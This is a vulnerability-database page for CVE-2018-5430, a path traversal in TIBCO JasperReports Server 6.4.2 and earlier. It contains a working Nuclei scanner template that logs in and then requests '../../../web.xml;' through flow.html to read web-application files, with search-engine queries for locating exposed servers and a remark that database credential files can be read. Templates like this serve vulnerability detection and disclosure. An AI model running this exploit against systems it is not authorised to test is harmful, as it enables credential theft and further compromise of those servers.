CVE-2018-5430: TIBCO JasperReports Server <= 6.4.2 - Authenticated Local File Inclusion

2026-12-04 PoC Public

Description

TIBCO JasperReports Server and JasperReports Server Community Edition through 6.4.2 are vulnerable to a directory traversal in their Spring Web Flows. The `page` parameter of `flow.html` is resolved to a JSP view without path sanitisation, and a trailing `;` suppresses the `.jsp` suffix the application appends. Any authenticated user, regardless of role, can read arbitrary files inside the web application such as `WEB-INF/web.xml`.

Details

CVE
CVE-2018-5430 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2018-5430

info:
  name: TIBCO JasperReports Server <= 6.4.2 - Authenticated Local File Inclusion
  author: Securin
  severity: high
  description: |
    TIBCO JasperReports Server and JasperReports Server Community Edition through 6.4.2 are vulnerable to a directory traversal in their Spring Web Flows. The `page` parameter of `flow.html` is resolved to a JSP view without path sanitisation, and a trailing `;` suppresses the `.jsp` suffix the application appends. Any authenticated user, regardless of role, can read arbitrary files inside the web application such as `WEB-INF/web.xml`.
  impact: |
    An authenticated low-privileged user can read sensitive configuration files within the web application (for example database credentials in `WEB-INF/js.jdbc.properties`), leading to information disclosure and potential further compromise.
  remediation: |
    Upgrade TIBCO JasperReports Server / Community Edition to 6.4.3, 7.1.0, or later.
  reference:
    - https://rhinosecuritylabs.com/application-security/authenticated-file-read-vulnerability-in-jasperreports/
    - https://www.exploit-db.com/exploits/44623
    - https://support.tibco.com/s/article/Security-Advisory-for-TIBCO-JasperReport-Server-20180410-2
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5430
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2018-5430
    epss-score: 0.86502
    epss-percentile: 0.99736
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: tibco
    product: jasperreports_server
    shodan-query:
      - http.title:"Jaspersoft"
      - http.title:"jaspersoft"
    fofa-query: title="jaspersoft"
    google-query: intitle:"jaspersoft"
  tags: cve,cve2018,tibco,jasperreports,jasperserver,lfi,traversal,authenticated,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST {{BaseURL}}/j_spring_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username={{username}}&j_password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET {{BaseURL}}/flow.html?_flowId=sampleFlow&page=../../../web.xml; HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<web-app", "JasperServer UI application")'
          - 'contains(header, "application/xml")'
        condition: and
# digest: 4a0a00473045022100e92dee21b779a91eef425aee827d04028fc4f0e16f684fb2a1b2df6567ab6b6f02201ea9e66f08e89c761d06d5b14727e1f4a3148cb8a32b4f96bfb6ae59a9e83c33:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life